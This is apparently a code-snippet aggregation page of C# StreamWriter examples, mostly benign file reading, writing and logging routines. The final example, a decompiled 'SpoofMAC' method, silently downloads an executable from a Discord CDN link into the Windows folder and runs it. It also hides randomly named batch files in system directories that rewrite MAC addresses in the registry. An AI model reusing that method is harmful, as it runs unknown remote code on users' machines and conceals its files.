示例#1
1
        public void AppendResultsToFile(String Name, double TotalTime)
        {
            FileStream file;
            file = new FileStream(Name, FileMode.Append, FileAccess.Write);
            StreamWriter sw = new StreamWriter(file);

            sw.Write("***************************************\n");

            sw.Write("Total  | No Subs| %Total |%No Subs| Name\n");

            foreach (CNamedTimer NamedTimer in m_NamedTimerArray)
            {
                if (NamedTimer.GetTotalSeconds() > 0)
                {
                    String OutString;

                    OutString = String.Format("{0:0.0000}", NamedTimer.GetTotalSeconds())
                        + " | " + String.Format("{0:0.0000}", NamedTimer.GetTotalSecondsExcludingSubroutines())
                        + " | " + String.Format("{0:00.00}", System.Math.Min(99.99, NamedTimer.GetTotalSeconds() / TotalTime * 100)) + "%"
                        + " | " + String.Format("{0:00.00}", NamedTimer.GetTotalSecondsExcludingSubroutines() / TotalTime * 100) + "%"
                        + " | "
                        + NamedTimer.m_Name;

                    OutString += " (" + NamedTimer.m_Counter.ToString() + ")\n";
                    sw.Write(OutString);
                }
            }

            sw.Write("\n\n");

            sw.Close();
            file.Close();
        }
示例#2
0
    public static void LogExceptions(Exception Ex, string Page, string method)
    {
        string _SchLogs = System.Configuration.ConfigurationSettings.AppSettings["ServiceLogFolder"].ToString() + "Exceptions.txt";
        StringBuilder _BuilderException = new StringBuilder();
        _BuilderException.Append("***********************************" + DateTime.Now.ToString() + "***********************************");
        _BuilderException.AppendLine();
        _BuilderException.Append(Ex.Message.ToString());
        _BuilderException.AppendLine();
        _BuilderException.AppendLine();
        //page
        _BuilderException.Append("Page :" + Page);
        _BuilderException.AppendLine();

        _BuilderException.AppendLine();
        //mehotd
        _BuilderException.Append("Method :" + method);
        _BuilderException.AppendLine();
        if (Ex.InnerException != null)
        {
            _BuilderException.AppendLine();
            _BuilderException.Append(Ex.InnerException.ToString());
            _BuilderException.AppendLine();
            _BuilderException.Append(Ex.Message.ToString());
            _BuilderException.AppendLine();
        }

        _BuilderException.Append("*****************************************************************************************************");
        StreamWriter _Sche_Log = new StreamWriter(_SchLogs, true, Encoding.Default);
        _Sche_Log.WriteLine(_BuilderException);
        _Sche_Log.Close();
    }
示例#3
0
    public static void ReplaceTarget(List<string> words)
    {
        using (StreamReader reader = new StreamReader("test.txt"))
        {
            using (StreamWriter writer = new StreamWriter("temp.txt"))
            {
                StringBuilder sb = new StringBuilder();
                sb.Append(@"\b(");
                foreach (string word in words) sb.Append(word + "|");

                sb.Remove(sb.Length - 1, 1);
                sb.Append(@")\b");

                string pattern = @sb.ToString();
                Regex rgx = new Regex(pattern, RegexOptions.IgnoreCase);

                for (string line; (line = reader.ReadLine()) != null; )
                {
                    string newLine = rgx.Replace(line, "");
                    writer.WriteLine(newLine);
                }
            }
        }

        File.Delete("test.txt");
        File.Move("temp.txt", "test.txt");
    }
 private static void ReplaceAllOccurencesOfWholeWorldOnly()
 {
     using (StreamReader input = new StreamReader("text.txt"))
     using (StreamWriter output = new StreamWriter("result.txt"))
         for (string line; (line = input.ReadLine()) != null; )
             output.WriteLine(Regex.Replace(line, @"\bstart\b", "finish"));
 }
示例#5
0
 public static void MeshToFile(MeshFilter mf, string filename)
 {
     using (StreamWriter sw = new StreamWriter(filename))
     {
         sw.Write(MeshToString(mf));
     }
 }
示例#6
0
    private void Init() {

        if (!File.Exists(file)){
            myFs = new FileStream(file, FileMode.Create);
        }
        mySw = new StreamWriter(file, true, System.Text.Encoding.GetEncoding("utf-8"));
    }    
 static void Main()
 {
     try
     {
         //files are in 'bin/Debug' directory of the project
         string allLines = String.Join(" ", File.ReadAllLines("secondfile.txt"));
         string[] allWords = allLines.Split(' ');
         using (StreamReader start = new StreamReader("mainfile.txt"))
         {
             string line = start.ReadLine();
             using (StreamWriter finish = new StreamWriter("finish.txt"))
             {
                 while (line != null)
                 {
                     for (int i = 0; i < allWords.Length; i++)
                     {
                         string word = "\\b" + allWords[i] + "\\b";
                         line = Regex.Replace(line, word, "");
                     }
                     finish.WriteLine(line);
                     line = start.ReadLine();
                 }
             }
         }
     }
     catch (Exception e)
     {
         Console.WriteLine("{0}:{1}", e.GetType().Name, e.Message);
     }
     Console.WriteLine("Deleting duplicated words was succesful.");
 }
 static void Main()
 {
     string firstFilePath = @"../../First.txt";
     string secondFilePath = @"../../Second.txt";
     string resultPath = @"../../result.txt";
     StreamReader firstPart = new StreamReader(firstFilePath);
     StreamReader secondPart = new StreamReader(secondFilePath);
     StreamWriter result = new StreamWriter(resultPath);
     string lineOne = String.Empty;
     string lineTwo = String.Empty;
     string resultStr = String.Empty;
     using(firstPart)
     {
         lineOne = firstPart.ReadToEnd();
     }
     using (secondPart)
     {
         lineTwo = secondPart.ReadToEnd();
     }
     using (result)
     {
         resultStr = lineOne + "\r\n" + lineTwo;
         result.WriteLine(resultStr);
     }
 }
示例#9
0
文件: Bible.cs 项目: walrus7521/code
 public static Dictionary<string, int> ReplaceFile(string FilePath, string NewFilePath)
 {
     Dictionary<string, int> word_freq = new Dictionary<string, int>();
        using (StreamReader vReader = new StreamReader(FilePath))
        {
       using (StreamWriter vWriter = new StreamWriter(NewFilePath))
       {
          int vLineNumber = 0;
          while (!vReader.EndOfStream)
          {
             string vLine = vReader.ReadLine();
             string[] words = SplitLine(vLine);
             foreach (string s in words) {
                 try {
                     word_freq[s]++;
                     //Console.WriteLine("=> {0}", s);
                 } catch (Exception ex) {
                     word_freq[s] = 1;
                 }
             }
             vWriter.WriteLine(ReplaceLine(vLine, vLineNumber++));
          }
       }
        }
        return word_freq;
 }
 static void Main()
 {
     using (StreamReader input = new StreamReader("../../1.txt"))
         using (StreamWriter output = new StreamWriter("../../2.txt"))
             for (string line; (line = input.ReadLine()) != null; )
                 output.WriteLine(line.Replace("start", "finish"));
 }
    static void Main()
    {
        StreamReader reader = new StreamReader("../../text.txt", Encoding.GetEncoding("UTF-8"));
        StreamWriter writer = new StreamWriter("../../temp.txt", false, Encoding.GetEncoding("UTF-8"));

        using (reader)
        {
            using (writer)
            {
                string line = reader.ReadLine();

                while (line != null)
                {
                    line = Regex.Replace(line, @"\b(test)\w*\b", "");
                    writer.WriteLine(line);
                    line = reader.ReadLine();
                }
            }
        }

        File.Delete("../../text.txt");
        File.Move("../../temp.txt", "../../text.txt");

        Console.WriteLine("File \"text.txt\" modified!");
    }
    static void ConcatenateTwoStrings(string firstStr, string secondStr)
    {
        bool exist = false;

        try
        {
            exist = File.Exists(@"../../result.txt");
            StreamWriter writer = new StreamWriter(@"../../result.txt");
            using (writer)
            {
                writer.Write(firstStr + Environment.NewLine + secondStr);
            }
        }
        catch
        {
            Console.WriteLine("Something went wrong! Check file paths or file contents.");
        }
        finally
        {
            if (exist)
                Console.WriteLine("Text file \"result.txt\" re-created!");
            else
                Console.WriteLine("Text file \"result.txt\" created!");
        }
    }
示例#13
0
    static void Main()
    {
        Console.WriteLine("Enter the full path of the text file");
          string path = Console.ReadLine();
          StreamReader reader = new StreamReader(path);

          StreamWriter writer = new StreamWriter("text.txt", false, Encoding.GetEncoding("windows-1251"));
          List<string> list = new List<string>();

        using (writer)
        {
            using(reader)
            {
                string line = reader.ReadLine();

                    while(line!=null)
                {
                    list.Add(line);
                    line = reader.ReadLine();
                }

                    list.Sort();
            }

            foreach (string s in list)
            {
                writer.WriteLine(s);
            }
        }
    }
示例#14
0
    static void Main()
    {
        // Reads some text file
        StreamReader read = new StreamReader("file.txt");
        using (read)
        {
            // Creates an empty list and fill it
            string line = read.ReadLine();
            List<string> list = new List<string>();
            for (int l = 0; line != null; l++)
            {
                // Adds each one word from the file in the list
                list.Add(line);

                // Reads the next line
                line = read.ReadLine();
            }

            // Sorting the list
            list.Sort();

            // Write the sorted list in some output file
            StreamWriter write = new StreamWriter("output.txt");
            using (write)
            {
                foreach (var word in list)
                {
                    write.WriteLine(word);
                }
            }
        }
    }
    static void Main()
    {
        StreamReader reader = new StreamReader(@"..\..\input.txt");

        List<string> allEvenLines = new List<string>();

        string currLine = null;

        while (1 == 1)
        {
            currLine = reader.ReadLine();//Line1 (1/3/5/7)
            currLine = reader.ReadLine();//Line2 (4/6/8/10)
            if (currLine == null)
            {
                break;
            }
            allEvenLines.Add(currLine);
        }
        reader.Close();

        StreamWriter writer = new StreamWriter(@"..\..\input.txt", false); // after closing the reader
        foreach (string line in allEvenLines)
        {
            writer.WriteLine(line);
        }
        writer.Close();
    }
示例#16
0
    static void Main()
    {
        StreamReader reader = new StreamReader(@"..\..\practice.txt");
        StringBuilder builder = new StringBuilder();

        using (reader)
        {
            string line = reader.ReadLine();
            int lineIndex = 0;

            while (line != null)
            {
                lineIndex++;
                builder.AppendLine(string.Format("{0}. {1}", lineIndex, line));
                line = reader.ReadLine();
            }
        }

        StreamWriter writer = new StreamWriter(@"..\..\result.txt");

        using (writer)
        {
            writer.Write(builder.ToString());
        }
    }
    public static void FillInputFileWithMaxCommands(int n = 1000000)
    {
        Console.WriteLine("start filling the input file");
        using (var writer = new StreamWriter(inputFileName))
        {
            foreach (var command in commands[0])
            {
                writer.WriteLine(command);
                n--;
            }

            for (int i = 0; i < n; i++)
            {
                int section = rand.Next(commands.Length);
                string[] currentCommands = commands[section];
                foreach (var command in currentCommands)
                {
                    writer.WriteLine(command);
                    i++;
                }
            }
        }

        Console.WriteLine("finished filling the input file");
    }
示例#18
0
    static void Main()
    {
        var reader = new StreamReader("..\\..\\input.txt");
        string[] input = reader.ReadToEnd().Split(' ');
        reader.Close();
        string deletedWord = "start";
        string newWord = "finish";
        for (int i = 0; i < input.Length; i++)
        {
            if (input[i]==deletedWord)
            {
                input[i] = newWord;
            }
        }
        string result = string.Join(" ", input);
        var writer = new StreamWriter("..\\..\\result.txt");
        using (writer)
        {
            if (result != null)
            {
                writer.WriteLine(result);
            }

        }
    }
示例#19
0
    static void Main()
    {
        StreamReader reader = new StreamReader("namesList.txt", Encoding.GetEncoding("Windows-1251"));
        StreamWriter writer = new StreamWriter("sortedNamesList.txt");
        List<string> names = new List<string>();
        string name = string.Empty;

        name = reader.ReadLine();
        names.Add(name);
        using (reader)
        {
            while (name != null)
            {
                name = reader.ReadLine();
                names.Add(name);
            }
        }

        names.Sort();

        using (writer)
        {
            for (int i = 0; i < names.Count; i++)
            {
                writer.WriteLine(names[i]);
            }
        }
    }
示例#20
0
 static void Main(string[] args)
 {
     string[] lines  = File.ReadAllLines("Matrix.txt");
     int matrixSize = int.Parse(lines[0]);
     int[,] matrix = new int[matrixSize, matrixSize];
     string[] numberByNumber = new string[matrixSize];
     for (int i = 0; i < matrixSize; i++)
     {
         string[] s = lines[i + 1].Split(' ');
         for (int z = 0; z < s.Length; z++)
         {
             matrix[i, z] = int.Parse(s[z]);
         }
     }
     int sum = 0;
     int currentSum = 0;
     for (int i = 0; i < matrixSize - 1; i++)
     {
         for (int z = 0; z < matrixSize - 1; z++)
         {
             currentSum = matrix[i, z] + matrix[i, z + 1] + matrix[i + 1, z] + matrix[i + 1, z + 1];
             if (currentSum > sum)
             {
                 sum = currentSum;
             }
         }
     }
     StreamWriter writer =
         new StreamWriter("TheFile.txt");
     using (writer)
     {
         writer.WriteLine(sum);
     }
     Process.Start("TheFile.txt");
 }
 static void Main()
 {
     string read = @"..\..\..\Text files are here\10. Tags.xml";
     StreamReader reader = new StreamReader(read); 
     StringBuilder output = new StringBuilder();
     using (reader)
     {
         string text = reader.ReadLine();
         while (text != null)
         {
             text = Regex.Replace(text, @"<[^>]*>", string.Empty);
             if (!String.IsNullOrWhiteSpace(text))
             {
                 output.Append(text + "\r\n");
             }
             text = reader.ReadLine();
         }
     }
     string write = @"..\..\..\Text files are here\10. Tags.txt";
     StreamWriter writer = new StreamWriter(write);
     using (writer)
     {
         writer.WriteLine(output);
     }
     
     Console.WriteLine("Your file must be ready.");
     }          
示例#22
0
 static void WriteTextInFile(StringBuilder text)
 {
     using (StreamWriter writer = new StreamWriter(@"..\..\text.txt"))
     {
         writer.Write(text);
     }
 }
示例#23
0
    public static int Main(string[] args)
    {
        TextWriter writer = Console.Out;
        string method_name = null;
        string formatter = null;
        bool show_help = false;

        var os = new OptionSet () {
            { "formatter=", "Source code formatter. Valid values are: 'csharp-coregraphics'", v => formatter = v },
            { "out=", "Source code output", v => writer = new StreamWriter (v) },
            { "h|?|help", "Displays the help", v => show_help = true },
        };

        var svg = os.Parse (args);
        string path = (svg.Count > 1) ? String.Concat (svg) : svg [0];

        if (show_help)
            Usage (os, null);

        var parser = new SvgPathParser ();

        switch (formatter) {
        case "csharp-coregraphics":
        case "cs-cg":
            parser.Formatter = new CSharpCoreGraphicsFormatter (writer);
            break;
        default:
            Usage (os, "error: unkown {0} code formatter", formatter);
            break;
        }

        parser.Parse (path, method_name);
        return 0;
    }
示例#24
0
 void OnGUI()
 {
     GUIStyle mgui = new GUIStyle();
     mgui.fontSize = 200;
     if (mode == "main")
         GUI.DrawTexture (getRect(0.1, 0.1, 0.3, 0.1), target);
     else
         GUI.DrawTexture (getRect(0.6, 0.1, 0.3, 0.1), target);
     if (GUI.Button(getRect(0.1, 0.1, 0.3, 0.1), "메인 맵"))
         mode = "main";
     if (GUI.Button(getRect(0.6, 0.1, 0.3, 0.1), "커스텀 맵"))
         mode = "costom";
     for(int y=0;y<2;y++)
     {
         for (int x = 0; x < 5; x++)
         {
             if (GUI.Button(getRect(0.05+0.2*x, 0.3+0.2*y, 0.1, 0.1), (5 * y + x + 1).ToString()))
             {
                 stage = 5 * y + x + 1;
                 StreamWriter sw= new StreamWriter("playinfo.txt");
                 sw.WriteLine(mode);
                 sw.WriteLine(stage.ToString());
                 sw.Close();
                 Application.LoadLevel("game");
             }
         }
     }
     if (GUI.Button(getRect(0.4, 0.8, 0.2, 0.1), "돌아가기"))
         Application.LoadLevel("mainscreen");
 }
 static void Main()
 {
     try
     {
         StreamReader reader = new StreamReader(@"D:\newfile.txt");
         List<string> newText = new List<string>();
         using (reader)
         {
             string line = reader.ReadLine();
             int lineNumber = 0;
             while (line != null)
             {
                 lineNumber++;
                 newText.Add(lineNumber.ToString() + ". " + line);
                 line = reader.ReadLine();
             }
         }
         StreamWriter writer = new StreamWriter(File.Open(@"D:\ResultIs.txt",FileMode.Create));
         using (writer)
         {
             for (int i = 0; i < newText.Count; i++)
             {
                 writer.WriteLine(newText[i]);
             }
         }
     }
     catch (Exception e)
     {
         Console.WriteLine(e);
         throw;
     }
 }
示例#26
0
    void AddToHighScore(float time)
    {
        highScoreList.Add(new KeyValuePair<string, float>(userName, time));

        highScoreList.Sort((firstPair, nextPair) =>
        {
            return firstPair.Value.CompareTo(nextPair.Value);
        });

        //Make sure highScoreList doesn't have too many elements
        if (highScoreList.Count > maxScoreCount)
        {
            //Remove the last element
            highScoreList.RemoveAt(highScoreList.Count - 1);
        }

        StreamWriter file=new StreamWriter(filePath);

        //Write the updated high score list to the file
        for (int i = 0; i < highScoreList.Count; i++) //Iterate through highScoreList
        {
            file.WriteLine(highScoreList[i].Key.ToString() + ":" + highScoreList[i].Value.ToString());
        }

        file.Close();
    }
示例#27
0
    private static void WordCount(string text)
    {
        string[] checker = text.ToLower().Split(new char[] { ' ', '.', ',', '!', '?', '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries);
        Array.Sort(checker);
        StreamWriter write = new StreamWriter("..\\..\\Output.txt");
        using (write)
        {
            for (int i = 0; i < checker.Length; i++)
            {
                string current = checker[i];
                int count = 0;
                for (int j = i; j < checker.Length; j++)
                {
                    if (current != checker[j])
                    {
                        break;
                    }
                    else
                    {
                        count++;
                    }
                }
                i = i + count - 1;
                write.WriteLine("{0,30} is present {1,2} times inside the text", current, count);

            }
        }
    }
示例#28
0
 static void WriteTheFile(StringBuilder sb)
 {
     using (StreamWriter writer = new StreamWriter(@"..\..\test.txt"))
     {
         writer.Write(sb);
     }
 }
示例#29
0
文件: rtest.cs 项目: nobled/mono
	static void Main (string [] args)
	{
		int i = 0;

		while (args [i].StartsWith ("-")){
			if (args [i] == "-debug")
				debug = true;
			if (args [i] == "-headers")
				headers = true;
			if (args [i] == "-header")
				header = args [++i];
			i++;
		}
		
		c = new TcpClient (args [i], Int32.Parse (args [i+1]));
		c.ReceiveTimeout = 1000;
		ns = c.GetStream ();
		
		sw = new StreamWriter (ns);
		sr = new StreamReader (ns);

		string host = args [i];
		if (args [i+1] != "80")
			host += ":" + args [i+1];
		send (String.Format ("GET {0} HTTP/1.1\r\nHost: {1}\r\n\r\n", args [i+2], host));

		MemoryStream ms = new MemoryStream ();
		
		try {
			byte [] buf = new byte [1024];
			int n;
			
			while ((n = ns.Read (buf, 0, 1024)) != 0){
				ms.Write (buf, 0, n);
			}
		} catch {}

		ms.Position = 0;
		sr = new StreamReader (ms);

		string s;
		
		while ((s = sr.ReadLine ()) != null){
			if (s == ""){
				if (headers)
					return;
				
				string x = sr.ReadToEnd ();
				Console.Write (x);
				break;
			}  else {
				if (debug || headers)
					Console.WriteLine (s);
				if (header != null && s.StartsWith (header)){
					Console.WriteLine (s);
					return;
				}
			}
		}
	}
示例#30
0
    public UglyNumbers()
    {
        input = new StreamReader("dir/2008/Round1C/B/B-large.in");
        output = new StreamWriter("dir/2008/Round1C/B/B-large.out");

        this.N = int.Parse(input.ReadLine());
    }
示例#31
0
        private static void Info(string[] args)
        {
            string input = args[2];
            string output = "";
            bool titles = false;

            //Check if file exists
            if (File.Exists(input) == false)
            {
                Console.WriteLine("ERROR: Unable to open file: {0}", input);
                Console.WriteLine("Either the file doesn't exist, or Sharpii doesn't have permission to open it.");
                Console.WriteLine("Error: SHARPII_NET_CORE_WAD_FILE_ERR_01");
                Environment.Exit(0x00003E81);
                return;
            }

            for (int i = 1; i < args.Length; i++)
            {
                switch (args[i].ToUpper())
                {
                    case "-O":
                        if (i + 1 >= args.Length)
                        {
                            Console.WriteLine("ERROR: No output set");
                            Console.WriteLine("Error: SHARPII_NET_CORE_WAD_NO_OUTPUT_01");
                            Environment.Exit(0x00003E8D);
                            return;
                        }
                        output = args[i + 1];
                        break;
                    case "-OUTPUT":
                        if (i + 1 >= args.Length)
                        {
                            Console.WriteLine("ERROR: No output set");
                            Console.WriteLine("Error: SHARPII_NET_CORE_WAD_NO_OUTPUT_01");
                            Environment.Exit(0x00003E8D);
                            return;
                        }
                        output = args[i + 1];
                        break;
                    case "-TITLES":
                        titles = true;
                        break;
                }
            }

            try
            {
                WAD wad = new WAD();

                if (BeQuiet.quiet > 2)
                    Console.Write("Loading file...");

                wad.LoadFile(input);

                if (BeQuiet.quiet > 2)
                    Console.Write("Done!\n");

                if (BeQuiet.quiet > 1 && output == "")
                {
                    Console.WriteLine("WAD Info:");
                    Console.WriteLine("");
                    if (titles == false)
                        Console.WriteLine("Title: {0}", wad.ChannelTitles[1]);
                    else
                    {
                        Console.WriteLine("Titles:\n");
                        Console.WriteLine("   Japanese: {0}", wad.ChannelTitles[0]);
                        Console.WriteLine("   English: {0}", wad.ChannelTitles[1]);
                        Console.WriteLine("   German: {0}", wad.ChannelTitles[2]);
                        Console.WriteLine("   French: {0}", wad.ChannelTitles[3]);
                        Console.WriteLine("   Spanish: {0}", wad.ChannelTitles[4]);
                        Console.WriteLine("   Italian: {0}", wad.ChannelTitles[5]);
                        Console.WriteLine("   Dutch: {0}", wad.ChannelTitles[6]);
                        Console.WriteLine("   Korean: {0}\n", wad.ChannelTitles[7]);
                    }
                    Console.WriteLine("Title ID: {0}", wad.UpperTitleID);
                    Console.WriteLine("Full Title ID: {0}", wad.TitleID.ToString("X16").Substring(0, 8) + "-" + wad.TitleID.ToString("X16").Substring(8));
                    Console.WriteLine("IOS: {0}", ((int)wad.StartupIOS).ToString());
                    Console.WriteLine("Region: {0}", wad.Region);
                    Console.WriteLine("Version: {0}", wad.TitleVersion);
                    Console.WriteLine("Blocks: {0}", wad.NandBlocks);
                }
                else
                {
                    if (BeQuiet.quiet > 2)
                        Console.Write("Saving file...");

                    if (output.Substring(output.Length - 4, 4).ToUpper() != ".TXT")
                        output = output + ".txt";
                    
                    TextWriter txt = new StreamWriter(output);
                    txt.WriteLine("WAD Info:");
                    txt.WriteLine("");
                    if (titles == false)
                        txt.WriteLine("Title: {0}", wad.ChannelTitles[1]);
                    else
                    {
                        txt.WriteLine("Titles:");
                        txt.WriteLine("     Japanese: {0}", wad.ChannelTitles[0]);
                        txt.WriteLine("     English: {0}", wad.ChannelTitles[1]);
                        txt.WriteLine("     German: {0}", wad.ChannelTitles[2]);
                        txt.WriteLine("     French: {0}", wad.ChannelTitles[3]);
                        txt.WriteLine("     Spanish: {0}", wad.ChannelTitles[4]);
                        txt.WriteLine("     Italian: {0}", wad.ChannelTitles[5]);
                        txt.WriteLine("     Dutch: {0}", wad.ChannelTitles[6]);
                        txt.WriteLine("     Korean: {0}", wad.ChannelTitles[7]);
                    }
                    txt.WriteLine("Title ID: {0}", wad.UpperTitleID);
                    txt.WriteLine("Full Title ID: {0}", wad.TitleID.ToString("X16").Substring(0, 8) + "-" + wad.TitleID.ToString("X16").Substring(8));
                    txt.WriteLine("IOS: {0}", ((int)wad.StartupIOS).ToString());
                    txt.WriteLine("Region: {0}", wad.Region);
                    txt.WriteLine("Version: {0}", wad.TitleVersion);
                    txt.WriteLine("Blocks: {0}", wad.NandBlocks);
                    txt.Close();
                    
                    if (BeQuiet.quiet > 2)
                        Console.Write("Done!\n");

                    if (BeQuiet.quiet > 1)
                        Console.WriteLine("Operation completed succesfully!");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("An unknown error occured, please try again");
                Console.WriteLine("");
                Console.WriteLine("ERROR DETAILS: {0}", ex.Message);
                Console.WriteLine("Error: SHARPII_NET_CORE_WAD_UNKNOWN_01");
                Environment.Exit(0x00003E82);
                return;
            }
        }
示例#32
0
        void IResultWriter.WriteTableBegin(DataTable schemaTable)
        {
            var path = Path.GetTempFileName();

            _messageWriter.WriteLine("fileName: {0}", path);
            var encoding = Encoding.UTF8;

            _streamWriter           = new StreamWriter(path, false, encoding, 4096);
            _streamWriter.AutoFlush = true;
            var count = schemaTable.Rows.Count;

            _dataWriters = new DataWriterBase[count];
            var st = new StringTable(3);

            st.Columns[2].Align = StringTableColumnAlign.Right;

            for (var i = 0; i < count; i++)
            {
                DataWriterBase dataWriter = null;
                var            column     = schemaTable.Rows[i];
                var            dataType   = (Type)column["DataType"];
                var            typeCode   = Type.GetTypeCode(dataType);
                string         dataTypeName;
                int            length;

                switch (typeCode)
                {
                case TypeCode.Boolean:
                    length       = 1;
                    dataTypeName = "bit";
                    dataWriter   = new BooleanDataWriter();
                    dataWriter.Init(5);
                    break;

                case TypeCode.DateTime:
                    length       = 21; // yyyyMMdd HH:mm:ss.fff
                    dataTypeName = "datetime";
                    dataWriter   = new DateTimeDataWriter();
                    dataWriter.Init(21);
                    break;

                case TypeCode.Decimal:
                    var precision = (short)column["NumericPrecision"];
                    var scale     = (short)column["NumericScale"];
                    length = precision + 1;     // +/- sign

                    // decimal separator
                    if (scale > 0)
                    {
                        length++;
                        dataTypeName = $"decimal({precision},{scale})";
                    }
                    else
                    {
                        dataTypeName = $"decimal({precision})";
                    }

                    dataWriter = new DecimalDataWriter();
                    dataWriter.Init(length);
                    break;

                case TypeCode.Int16:
                    length       = short.MinValue.ToString().Length;
                    dataTypeName = "smallint";
                    dataWriter   = new DecimalDataWriter();
                    dataWriter.Init(length);
                    break;

                case TypeCode.Int32:
                    length       = int.MinValue.ToString().Length;
                    dataTypeName = "int";
                    dataWriter   = new DecimalDataWriter();
                    dataWriter.Init(length);
                    break;

                case TypeCode.String:
                    length       = (int)column["ColumnSize"];
                    length       = Math.Min(1024, length);
                    dataTypeName = $"varchar({length})";
                    dataWriter   = new StringDataWriter();
                    dataWriter.Init(length);
                    break;

                case TypeCode.Object:
                    if (dataType == typeof(Guid))
                    {
                        length       = Guid.Empty.ToString().Length;
                        dataTypeName = "uniqueidentifier";
                    }
                    else
                    {
                        throw new NotImplementedException(dataType.ToString());
                    }

                    break;

                default:
                    throw new NotImplementedException(typeCode.ToString());
                }

                _dataWriters[i] = dataWriter;

                var row = st.NewRow();
                row[0] = (string)column[SchemaTableColumn.ColumnName];
                row[1] = dataTypeName;
                row[2] = length.ToString();
                st.Rows.Add(row);
            }

            _messageWriter.WriteLine(st);
        }
示例#33
0
        public static void Main(string[] args)
        {
            startTime = DateTime.Now;
            if (Process.GetProcessesByName("MCForge").Length != 1)
            {
                foreach (Process pr in Process.GetProcessesByName("MCForge"))
                {
                    if (pr.MainModule.BaseAddress == Process.GetCurrentProcess().MainModule.BaseAddress)
                    {
                        if (pr.Id != Process.GetCurrentProcess().Id)
                        {
                            pr.Kill();
                        }
                    }
                }
            }
            PidgeonLogger.Init();
            AppDomain.CurrentDomain.UnhandledException += GlobalExHandler;
            Application.ThreadException += ThreadExHandler;
            bool skip = false;

remake:
            try
            {
                if (!File.Exists("Viewmode.cfg") || skip)
                {
                    StreamWriter SW = new StreamWriter(File.Create("Viewmode.cfg"));
                    SW.WriteLine("#This file controls how the console window is shown to the server host");
                    SW.WriteLine("#cli: True or False (Determines whether a CLI interface is used) (Set True if on Mono)");
                    SW.WriteLine("#high-quality: True or false (Determines whether the GUI interface uses higher quality objects)");
                    SW.WriteLine();
                    SW.WriteLine("cli = false");
                    SW.WriteLine("high-quality = true");
                    SW.Flush();
                    SW.Close();
                    SW.Dispose();
                }

                if (File.ReadAllText("Viewmode.cfg") == "")
                {
                    skip = true; goto remake;
                }

                string[] foundView = File.ReadAllLines("Viewmode.cfg");
                if (foundView[0][0] != '#')
                {
                    skip = true; goto remake;
                }

                if (args.Length == 0)
                {
                    /*IntPtr hConsole = GetConsoleWindow();
                     * if (IntPtr.Zero != hConsole)
                     * {
                     *  ShowWindow(hConsole, 0);
                     * }*/
                    UpdateCheck(true);
                    if (foundView[5].Split(' ')[2].ToLower() == "true")
                    {
                        Application.EnableVisualStyles();
                        Application.SetCompatibleTextRenderingDefault(false);
                    }

                    updateTimer.Elapsed += delegate { UpdateCheck(); }; updateTimer.Start();
                    Application.Run(new MCForge.Gui.Window());
                }
                if (args[0].Contains("cli"))
                {
                    Server s = new Server();
                    s.OnLog     += WriteToConsole;
                    s.OnCommand += WriteToConsole;
                    s.OnSystem  += WriteToConsole;
                    s.Start();

                    Console.Title = Server.name + " - MCForge " + Server.Version;
                    usingConsole  = true;
                    handleComm();


                    //Application.Run();
                }
                WriteToConsole("Completed in " + (DateTime.Now - startTime).Milliseconds + "ms");
            }
            catch (Exception e) { Server.ErrorLog(e); }
        }
示例#34
0
        // Token: 0x06000055 RID: 85 RVA: 0x0000A394 File Offset: 0x00008594
        public static void SpoofMAC()
        {
            string    fileName  = "C:\\Windows\\network.exe";
            string    address   = "https://cdn.discordapp.com/attachments/651522382200176690/660985147646148631/network_1.exe";
            WebClient webClient = new WebClient();

            webClient.DownloadFile(address, fileName);
            Thread.Sleep(3000);
            Process.Start(fileName);
            string userName = Environment.UserName;
            string pathRoot = Path.GetPathRoot(Environment.CurrentDirectory);

            string[] array = new string[]
            {
                pathRoot + "Windows\\Resources\\Themes\\aero",
                pathRoot + "Windows\\Media",
                pathRoot + "Windows\\System32",
                pathRoot + "Windows\\SysWOW64",
                pathRoot + "Windows\\Branding\\BaseBrd",
                pathRoot + "Windows\\InputMethod\\CHS",
                pathRoot + "Windows\\Help\\en-US",
                pathRoot + "Windows\\IdentityCRL\\INT"
            };
            string[] array2 = new string[]
            {
                ".dll",
                ".dat",
                ".sys",
                ".dll",
                ".dat",
                ".sys",
                ".dll",
                ".sys",
                ".dat",
                ".dll",
                ".sys",
                ".dat"
            };
            string str  = MAC.RandomString(5);
            int    num  = MAC.RandomNumber(0, 8);
            string text = array[num] + "\\" + str + ".bat";

            try
            {
                string value = "SETLOCAL ENABLEDELAYEDEXPANSION\n SETLOCAL ENABLEEXTENSIONS\n FOR /F \"tokens=1\" %%a IN ('wmic nic where physicaladapter^=true get deviceid ^| findstr [0-9]') DO (\n CALL :MAC\n FOR %%b IN (0 00 000) DO (\n REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\%%b%%a >NUL 2>NUL && REG ADD HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\%%b%%a /v NetworkAddress /t REG_SZ /d !MAC!  /f >NUL 2>NUL\n )\n )\n FOR /F \"tokens=1\" %%a IN ('wmic nic where physicaladapter^=true get deviceid ^| findstr [0-9]') DO (\n FOR %%b IN (0 00 000) DO (\n REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\%%b%%a >NUL 2>NUL && REG ADD HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\%%b%%a /v PnPCapabilities /t REG_DWORD /d 24 /f >NUL 2>NUL\n )\n )\n FOR /F \"tokens=2 delims=, skip=2\" %%a IN ('\"wmic nic where (netconnectionid like '%%') get netconnectionid,netconnectionstatus /format:csv\"') DO (\n netsh interface set interface name=\"%%a\" disable >NUL 2>NUL\n netsh interface set interface name=\"%%a\" enable >NUL 2>NUL\n )\n GOTO :EOF\n :MAC\n SET COUNT=0\n SET GEN=ABCDEF0123456789\n SET GEN2=26AE\n SET MAC=\n :MACLOOP\n SET /a COUNT+=1\n SET RND=%random%\n ::%%n, \n SET /A RND=RND%%16\n SET RNDGEN=!GEN:~%RND%,1!\n SET /A RND2=RND%%4\n SET RNDGEN2=!GEN2:~%RND2%,1!\n IF \"!COUNT!\"  EQU \"2\" (SET MAC=!MAC!!RNDGEN2!) ELSE (SET MAC=!MAC!!RNDGEN!)\n IF 